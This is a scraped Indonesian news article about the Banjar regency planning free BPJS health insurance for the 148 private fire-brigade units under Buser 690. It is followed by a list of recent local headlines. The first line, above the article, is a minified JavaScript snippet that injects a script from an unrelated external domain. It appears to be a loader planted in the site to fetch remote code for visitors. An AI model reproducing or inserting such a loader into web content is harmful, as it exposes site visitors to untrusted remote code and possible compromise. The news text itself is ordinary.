(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Anggota BPK Buser 690 Banjar Bakal Dijamin BPJS KesehatanÂ


KANALKALIMANTAN.COM, MARTAPURA – Kabar gembira bagi anggota BPK PMK swasta di Kabupaten Banjar, mereka bakal diberi jaminan kesehatan gratis oleh Pemerintah Kabupaten (Pemkab) Banjar.

Murzani MZ, Wakil Sekretaris Buser (Bumi Selamat Rescue) 690 Banjar mengatakan, pihaknya sudah mengeluarkan surat edaran No: 021/BUSER690/SE/X/2023 perihal permohonan data anggota BPK PMK untuk pengusulan BPJS Kesehatan oleh Pemkab Banjar.

Surat edaran Buser 690 Banjar itu menindaklanjuti surat dari Pemkab Banjar bernomor : 500.15.12.2./476/ Disnaker tentang permintaan data pekerja sektoral data pemadam kebakaran swasta, serta hasil koordinasi pertemuan dengan Dinas Kesehatan Kabupaten Banjar dan pengurus Buser 690 Banjar.

Baca juga: Keliling 14 Kota Sebar Poster Ujaran Kebencian, Kakek Asal Jateng Ditangkap di Kalsel

“Hasil pertemuan Pemerintah Kabupaten Banjar akan memberikan jaminan kesehatan BPJS Kesehatan gratis kepada anggota BPK yang terdaftar dalam Buser 690 Banjar beserta keluarga,” ujar Murzani MZ

Masih lanjut Murzani MZ, perlu diketahui sebelum terbitnya surat edaran tersebut, usulan perlindungan kesehatan itu berasal dari relawan BPK PMK yang tergabung dalam Buser 690.

Murzani MZ, Wakil Sekretaris Buser 690 Banjar. Foto: nh

“Awalnya dari keluhan-keluhan di grup kita Buser 690 Banjar, kemudian diproses dan akhirnya di berikanlah jaminan kesehatan untuk anggota BPK PMK yang belum memiliki jaminan kesehatan,” jelasnya.

Baca juga: Imbang di Kandang, Barito Putera Isi Posisi Ketujuh Klasemen

Jaminan kesehatan untuk anggota BPK swasta didaftarkan ke BPJS Kesehatan untuk tenaga kerja non formal. Dari pemerintah daerah mendaftarkan anggota pemadam swasta yang dikategorikan sebagai tenaga kerja non formal.

Sekadar diketahui, BPK swasta yang di bawah binaan Buser 690 Banjar ada 148 unit, dengan jumlah anggota bervariasi.

Surat edaran Buser 690 diterbitkan untuk proses pengumpulan data setiap unit agar melengkapi persyaratan berkas pengusulan BPJS kesehatan gratis dari Pemkab Banjar.

“Ada 148 unit BPK PMK dibawah Buser 690, saat ini masih dalam proses update data anggota, dan sebelum tanggal 10 November 2023 semua data anggota sudah harus diterima,” katanya. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.